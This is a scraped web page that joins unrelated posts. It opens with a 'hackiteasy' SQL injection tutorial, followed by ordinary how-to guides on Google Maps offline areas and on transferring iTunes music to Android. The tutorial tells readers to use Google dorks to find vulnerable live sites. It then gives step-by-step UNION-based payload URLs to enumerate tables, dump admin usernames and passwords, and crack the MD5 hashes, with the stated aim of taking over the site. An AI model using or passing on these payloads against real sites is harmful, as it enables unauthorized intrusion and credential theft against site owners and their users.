Tutorial: sql injection

Sql Injection tutorial advanced. So far in all the hacks the most used by h4ck3rs from n00b to an 1337 one has been the SQL injection attack. Here we at hackiteasy we present a tutorial on how to apply SQL injection to websites. This trick has been found to be working on a huge no. of sites.


The hack starts as follows.

Finding vulnerable site

To find a vunerable site open google

Type in a dork like "inurl:index.php?id=" (without quotes) there are many other similar formats for finding such vulnerable pages.


Now click on any site like http://www.yoursite.com/index.php?id=786

Now to test if the siote is hackable or not add a ' at the end of the site.

If the site gives an error like

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'84' at line 1"

we can assume that it is vunerable. If not try some other site.

We have the vulnerable site now. So lets try with different sql injection queries.

Checking the number of columns:

 To check the number of columns we do the following

http://www.site.com/index.php?id=-786 order by 1-- if the page loads normally without any error we proceed below
http://www.site.com/index.php?id=-786 order by 2-- (no error)
similarly check
http://www.site.com/index.php?id=-786 order by 3--
http://www.site.com/index.php?id=-786 order by 4--
http://www.site.com/index.php?id=-786 order by 5--
http://www.site.com/index.php?id=-786 order by 6-- =>error

if we get an error at the 6 like "unknown column" that means there exists only 5 columns.

Finding vunerable columns:

To find the vunerable columns we add union all select 1,2,3,4,5-- after http://www.site.com/index.php?id=-786

Now the url becomes

http://www.site.com/index.php?id=-786 union all select 1,2,3,4,5--

after hitting enter we if we see some numbers like 2 4 some where on the page.Then the columns 2 and 4 are vunerable and data can be retrieved from colums 2 and 4. This is important as we would see data on these columns only.

Finding Mysql version:

To find the sql version we replace 2 or 4 (or the bulnerable column in yor case) with @@version.

The URL would become-

http://www.site.com/index.php?id=-786 union all select 1,@@version,3,4,5--

After hitting enter the sql version appears on the page in the vulnerable column space

Lets assume we got 5.0.90-community-log on page which is sql version.

Getting Table names:

To get table names replace @@version in the url with table_name and add from information_schema.tables-- to the end.

The url now becomes

http://www.site.com/index.php?id=-786 union all select 1,table_name,3,4,5 from information_schema.tables--

After hitting enter the page shows the tablenames.

Lets us assume we got something like this

comment,log,admin,news,news_comment,members.

To take over the site we data should be retrieved from admin table.As it seems the most favorable to contain all the passwords.

Getting the column names:

To get the column names from the table "admin" we do the following

http://www.site.com/index.php?id=-786 union all select 1,column_name,3,4,5 from information_schema.columns where table_name=char(ascii of tablename)--

Converting the tablename to ascii:
 
For the real hack above first we have to convert the admin table to ascii values. Convert the tablename to ascii here

http://www.getyourwebsitehere.com/jswb/t...ascii.html

The ascii generated for the table name admin is & #97;&# 100;&# 109;&# 105;&# 110;

Now remove &# and add a , between them

So now it is 97,100,109,105,110

Replace it in the place of ascii of the tablename

Now it becomes

http://www.site.com/index.php?id=-786 union all select 1,column_name,3,4,5 from information_schema.columns where table_name=char(97,100,109,105,110)--

You can now see something like

username pwd gender email on page

Getting username and password:

To get the username and password we use

http://www.site.com/index.php?id=-786 union all select 1,concat(username,0x3a,pwd),3,4,5 from admin--   and hit enter.

At this point we see username and password on page.

The password may be in MD5 encrypted form, this can easilt be decrypted using the following converter-

http://www.md5decrypter.co.uk

This was a nice SQL injection hack tutorial. Please comment if you like the post.

How to use Google Maps offline

How to use Google Maps offline

The one caveat to using Google Maps offline is that you will have to use it online in order to store the required data first. With that in mind:

• Open Google Maps (while online) and search for your desired location.
• Once you've found the location/area you want, the easiest way to save it for later is to go to the options menu by tapping the three lines (hamburger) icon and tapping Offline areas.

Navigate to offline areas in your menu once you've found the location you want to save.

• Next, tap the plus or add symbol in the bottom right of the screen and you will prompted with a message that says "download this area?"
• Drag the map inside the square box until it encompasses the area you want a map of. Pinch to zoom (putting two fingers on the display and bringing them together) to close in on the area you want. Move your fingers in the opposite way to zoom out and encompass a larger area. 
• Once you are happy with the map area, tapDownload.

Hit download and give your map a name.

• You will be prompted to name your area. Do so in the box that appears.
• Once you have downloaded the map to your device, you can access it by tapping the menu icon at the top left of the main Maps page and returning to Offline areas, where you should now see your downloaded area. 

You will find your saved map in Offline areas. Rename it by tapping the pencil icon at the top right. 

Limitations of offline maps

There are some limitations to the functionality of the offline maps, mostly regarding the size of the location you’re looking for. You cannot download a map of, say, the whole of Denmark: the box you draw around the area you want has a limited size, and it's not possible to download anything that takes up more than around 1.5 GB of storage space.

Downloaded Google maps tend to require quite a lot of 

storage space to accommodate the detailed information they provide, so we recommend connecting to Wi-Fi before downloading all the maps you need. Additionally, the maps you download will be stored for 30 days and after this they are automatically deleted, so don't assume they will last forever.

Transfer iTunes to Android using Google Play Music

Here's how you can listen to your iTunes music on your Android phone. 

Transfer iTunes to Android using Google Play Music

Google Play Music provides cloud storage for up to 50,000 songs, accessible from both your desktop and your phone, and, best of all, it's compatible with iTunes. To sync the two systems, you'll need to download Google Music Manager (or Google Play Music for Chrome) onto your computer and the Google Play Music app to your phone.

Open the program, and log in with your Google account. Select the location of the music you want to upload (in this case, iTunes) and Google Music Manager will start to upload the music files contained within. 

The desktop version will automatically sync with the Google Play Music app on your phone – open it, tap My Library and you'll see your music starting to appear. Uploading large music collections can take a while, but as you don't have to physically connect your phone to your computer, you can go about your day while Music Manager does its work.

Transfer iTunes to Android with iSyncr

There are various dedicated apps for transferring your iTunes music to your Android phone in the Play Store. We tested several and found that iSyncr was the simplest and most efficient. 

To start, download the iSyncr app from the Play Store to your phone, and the desktop app to your PC. Connect your device to your computer with a USB cable, then open the iSyncr desktop app.

iSyncr lets you choose which media to sync with your device. / 

It should automatically open a window asking which files you want to sync with your device. Tick the box next to iTunes and then click Synchronise. iSyncr will then transfer your iTunes files to your phone.

Once the transfer is complete, you'll be able to play the music from your chosen music player. 

When the process is finished, click End. You'll then be able to play the files using your chosen music player, although the makers of iSyncr recommend their own Rocket Player app. It's also possible to transfer iTunes files over Wi-Fi with iSyncr, as long as your phone and computer are connected to the internet via the same network.

If you have a large music collection, you may not be able to fit it all onto your device's internal storage – given that iPod Classics can hold up to 160 GB, that's quite likely. If that's the case, you'll need to invest in a microSD card,

Transfer iTunes to Android via USB

If you don't want to rely on a third-party app to use iTunes with your Android phone, then you can manually transfer the files to your device.

Connect your phone to your PC with a USB cable. Open Windows Explorer, and locate the iTunes folder on your computer. 

Drag and drop it into your device's music folder to copy the files onto your phone. The music will be visible in your chosen music player app once the transfer is complete.

Connect your phone to your PC with USB, then just drag and drop to copy.  

This method is simple and efficient, but, as above, is limited by the available storage on your device or its mircoSD card.